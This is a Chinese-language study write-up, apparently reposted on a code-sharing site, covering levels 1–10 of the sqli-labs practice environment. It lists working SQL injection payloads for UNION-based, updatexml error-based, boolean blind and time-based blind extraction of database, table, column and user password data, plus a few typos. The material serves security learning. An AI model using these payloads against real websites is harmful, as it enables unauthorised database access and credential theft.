概述
sql注入的一般流程:
(1~6关)
-
判断注入点
- 当 id=1 and 1=2 – q页面异常是可能存在在sql注入
- 若页面出现非法,使用其他注入。
-
判断字段数
- order by (根据指定的列对结果进行排序),输出的数字超过列数,报错,因此可以借助此特性,进行列数的判断。
-
判断回显点
- eg: union select 1,2,3 页面显示2,说明回显点在2
- 注意:要让id的值等于一个不存在的值,这样联合查询的返回值会让union之后的查询结果在数组的第一列。只有让id的只是一个不存在的值,我们才会的道真实的数据
-
查询相关内容
-
判断库名
-
?id=-1 ’ union select 1,database(),3 – q(存在显错位)
-
使用updatexml报错注入(不存在显错位)
语法:
updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(0x7e,( select database())0x7e),1) (0x7e,作用出现一个不合规的字符,让其报错,将我们所需要的库名爆出来)
?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) – q
-
-
判断表名
-
?id=-1 ’ union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 1,1-- q
-
?id=-1 ’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ – q
group_concat 函数缺陷:会把结果拼接在一起,有可能使答案显示不完全
- limit 函数作用限制回显的库名是第几个
- ?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1) – q (不存在显错位)
-
-
判断列名
-
?id=-1 ’ union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ – q
-
?id=1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q**(不存在显错位)**
?id=1"%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27emails%27%20limit%200,1),0x7e),1)–%20q
-
-
判断数据:
-
?id=-1 ’ union select 1,id,3 from emails – q
-
?id=1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q
-
-
提取数据:?id=-1 ’ union select 1,group_concat(concat_ws(’~’,usename,password)) from users – q
-
(7~10)
-
和前四关不同,五到八关没有将搜索到的信息回显到页面上(五六关输入错误语句会显示,而八关则不会),所以需要盲注。(或报错,前面有讲)
- 布尔盲注
- lenth()函数 返回字符串长度
- substr()函数 截取字符串 (语法:substr(str,pos,len);)
- ascii() 返回字符的ascii码 [将字符变为数字well]
- 时间型
- sleep() 将程序挂起一段时间n为n秒
- if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行第二个语句 如果错误就执行第三个语句。
- 布尔盲注
-
布尔盲注 解题步骤:(以 sql-lab less-8为例)
-
获取数据库名字的长度: ?id=1’ and (length(database()))=8-- q(利用> < 或 = 来判断其数据库长度)
-
获取数据库名字:
-
?id=1’ and ascii(substr(database(),1,1))=115 表示从数据库1开始取一个长度 (将得出一个十进制数,利用ASCII表将其转化为字母或符号)第一个为s、
-
也可以通过burp suite来做
-
-
获取表的数量: ?id=1’ and (select count(*) from information_schema.tables where table_schema=‘security’)>5(=4)-- q
-
获取表的名字的长度: ?id=1’and (select length(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1)>5(=6)-- q 有6个长度
-
获取表的名字 : ?id=1’and (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q 第一位为e
-
获取字段名:?id=1’and (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q 第一位是 i
- 时间盲注:(以 sql-lab less-9为例)解题步骤
第九关按照刚才的盲注发现无论输入什么条件,回显结果都是一个,证明刚刚的布尔盲注已经无法使用,要尝试使用时间盲注
-
解析库名长度: ?id=1’ and if(length(database())=8,sleep(5),1)-- q(如果成立,就五秒后在反应,注:这里的 1 没有任何含义)
-
解析数据库名称:?id=1’ and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s
-
解析表名: ?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e
-
解析字段名:?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i
最后
以上就是忧虑路灯为你收集整理的sql-lab 1~10总结(后续持续更新)sql注入的一般流程:的全部内容,希望文章能够帮你解决sql-lab 1~10总结(后续持续更新)sql注入的一般流程:所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复